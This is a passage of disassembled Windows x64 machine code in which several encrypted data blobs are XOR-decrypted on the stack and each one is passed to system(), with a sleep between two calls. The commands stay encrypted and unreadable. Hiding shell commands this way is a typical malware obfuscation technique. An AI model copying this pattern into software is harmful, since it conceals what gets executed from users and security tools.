movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x14000e6e0
cmp r8d, 0x97
jge 0x14000e833
movsxd rax, r8d
lea r9, [rbp + 0x1280]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x14000e800
lea rcx, [rbp + 0x1280]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a3100]
movups xmm0, xmmword [0x1400a30f0]
movups xmmword [rbp + 0x1c80], xmm1
movups xmmword [rbp + 0x1c70], xmm0
movups xmm1, xmmword [0x1400a3120]
movups xmm0, xmmword [0x1400a3110]
movups xmmword [rbp + 0x1ca0], xmm1
movups xmmword [rbp + 0x1c90], xmm0
mov eax, dword [0x1400a3170]
movups xmm1, xmmword [0x1400a3140]
movups xmm0, xmmword [0x1400a3130]
mov dword [rbp + 0x1cf0], eax
movups xmmword [rbp + 0x1cc0], xmm1
movups xmmword [rbp + 0x1cb0], xmm0
movzx eax, byte [0x1400a3174]
movups xmm1, xmmword [0x1400a3160]
movups xmm0, xmmword [0x1400a3150]
mov byte [rbp + 0x1cf4], al
movups xmmword [rbp + 0x1ce0], xmm1
movups xmmword [rbp + 0x1cd0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000ea19
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1c74]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000e910
cmp r8d, 0x85
jge 0x14000ea63
movsxd rax, r8d
lea r9, [rbp + 0x1c70]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x85
jl 0x14000ea30
lea rcx, [rbp + 0x1c70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.q_thb_YVMH__I]
movups xmmword [rbp + 0xd0], xmm0
movzx eax, word [0x1400a3a40]
mov word [rbp + 0xe0], ax
cmp byte [0x1400a3a41], 0
je 0x14000ec30
mov r8d, edi
cmp r14d, 2
jl 0x14000ebf3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xd4]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000eaf0
cmp r8d, 0x12
jge 0x14000ec30
movsxd rax, r8d
lea r9, [rbp + 0xd0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14000ec00
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3750]
movups xmmword [rbp + 0x10c0], xmm0
movups xmm0, xmmword [0x1400a3770]
movups xmm1, xmmword [0x1400a3760]
movups xmmword [rbp + 0x10e0], xmm0
movups xmmword [rbp + 0x10d0], xmm1
mov eax, dword [0x1400a37c0]
movups xmm0, xmmword [0x1400a3790]
movups xmm1, xmmword [0x1400a3780]
mov dword [rbp + 0x1130], eax
movups xmmword [rbp + 0x1100], xmm0
movups xmmword [rbp + 0x10f0], xmm1
movzx eax, word [0x1400a37c4]
movups xmm0, xmmword [0x1400a37b0]
movups xmm1, xmmword [0x1400a37a0]
mov word [rbp + 0x1134], ax
movups xmmword [rbp + 0x1120], xmm0
movups xmmword [rbp + 0x1110], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000ee03
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x10c4]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14000ed00
cmp r8d, 0x76
jge 0x14000ee40
movsxd rax, r8d
lea r9, [rbp + 0x10c0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x14000ee10
lea rcx, [rbp + 0x10c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4f40]
movups xmmword [rbp + 0x1650], xmm0
movups xmm0, xmmword [0x1400a4f60]
movups xmmword [rbp + 0x1670], xmm0
movups xmm0, xmmword [0x1400a4f80]
movups xmm1, xmmword [0x1400a4f50]
movups xmmword [rbp + 0x1690], xmm0
movups xmmword [rbp + 0x1660], xmm1
movups xmm0, xmmword [0x1400a4fa0]
movups xmm1, xmmword [0x1400a4f70]
movups xmmword [rbp + 0x16b0], xmm0
movups xmmword [rbp + 0x1680], xmm1
mov eax, dword [str..4.C]
movsd xmm0, qword [0x1400a4fb0]
movups xmm1, xmmword [0x1400a4f90]
mov dword [rbp + 0x16c8], eax
movsd qword [rbp + 0x16c0], xmm0
movups xmmword [rbp + 0x16a0], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000f015
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1654]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000ef12
cmp r8d, 0x7c
jge 0x14000f060
movsxd rax, r8d
lea r9, [rbp + 0x1650]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x14000f030
lea rcx, [rbp + 0x1650]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x140000000]
lea rax, [rbx + 0xa6040]
lea rcx, [rbp + 0x2ae0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r14d, 2
jl 0x14000f238
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2ae4]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x14000f123
jmp 0x14000f283
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r9, [rbp + 0x2ae0]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x14000f250
lea rcx, [rbp + 0x2ae0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4210]
movups xmmword [rbp + 0xf00], xmm0
movups xmm0, xmmword [0x1400a4230]
movups xmmword [rbp + 0xf20], xmm0
movups xmm0, xmmword [0x1400a4250]
movups xmm1, xmmword [0x1400a4220]
movups xmmword [rbp + 0xf40], xmm0
movups xmmword [rbp + 0xf10], xmm1
mov eax, dword [0x1400a42a8]
movups xmm0, xmmword [str.q__D]
movups xmm1, xmmword [0x1400a4240]
mov dword [rbp + 0xf98], eax
movups xmmword [rbp + 0xf60], xmm0
movups xmmword [rbp + 0xf30], xmm1
movzx eax, word [0x1400a42ac]
movups xmm0, xmmword [0x1400a4290]
movups xmm1, xmmword [0x1400a4260]
mov word [rbp + 0xf9c], ax
movups xmmword [rbp + 0xf80], xmm0
movups xmmword [rbp + 0xf50], xmm1
movzx eax, byte [0x1400a42ae]
movsd xmm0, qword [0x1400a42a0]
movups xmm1, xmmword [0x1400a4280]
mov byte [rbp + 0xf9e], al
movsd qword [rbp + 0xf90], xmm0
movups xmmword [rbp + 0xf70], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x14000f499
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf04]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x14000f390
cmp r8d, 0x9f
jge 0x14000f4e3
movsxd rax, r8d
lea r9, [rbp + 0xf00]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9f
jl 0x14000f4b0
lea rcx, [rbp + 0xf00]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbx + 0xa5a90]
lea rdx, [rbp + 0x2d80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm1
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx + 0x10], xmm1
mov rax, qword [rcx + 0xa0]
mov qword [rdx + 0x20], rax
mov eax, dword [rcx + 0xa8]
mov dword [rdx + 0x28], eax
movzx eax, byte [rcx + 0xac]
mov byte [rdx + 0x2c], al
mov r8d, edi
cmp r14d, 2
jl 0x14000f6c9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x2d84]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x14000f5c0
cmp r8d, 0xad
jge 0x14000f713
movsxd rax, r8d
lea r9, [rbp + 0x2d80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xad
jl 0x14000f6e0
lea rcx, [rbp + 0x2d80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a3520]
movups xmm0, xmmword [0x1400a3510]
movups xmmword [rbp + 0x1d50], xmm1
movups xmmword [rbp + 0x1d40], xmm0
movups xmm1, xmmword [0x1400a3540]
movups xmm0, xmmword [0x1400a3530]
movups xmmword [rbp + 0x1d70], xmm1
movups xmmword [rbp + 0x1d60], xmm0
movups xmm1, xmmword [0x1400a3560]
movups xmm0, xmmword [0x1400a3550]
movups xmmword [rbp + 0x1d90], xmm1
movups xmmword [rbp + 0x1d80], xmm0
movzx eax, byte [0x1400a3590]
movups xmm1, xmmword [str.JXT_SPeB_n_cz3H]
movups xmm0, xmmword [0x1400a3570]
mov byte [rbp + 0x1dc0], al
movups xmmword [rbp + 0x1db0], xmm1
movups xmmword [rbp + 0x1da0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x14000f8f9
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1d44]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x14000f7f0
cmp r8d, 0x81
jge 0x14000f943
movsxd rax, r8d
lea r9, [rbp + 0x1d40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x81
jl 0x14000f910
lea rcx, [rbp + 0x1d40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a53a0]
movups xmmword [rbp + 0x2300], xmm0
movups xmm0, xmmword [0x1400a53c0]
movups xmm1, xmmword [0x1400a53b0]
movups xmmword [rbp + 0x2320], xmm0
movups xmmword [rbp + 0x2310], xmm1
movups xmm0, xmmword [0x1400a53e0]
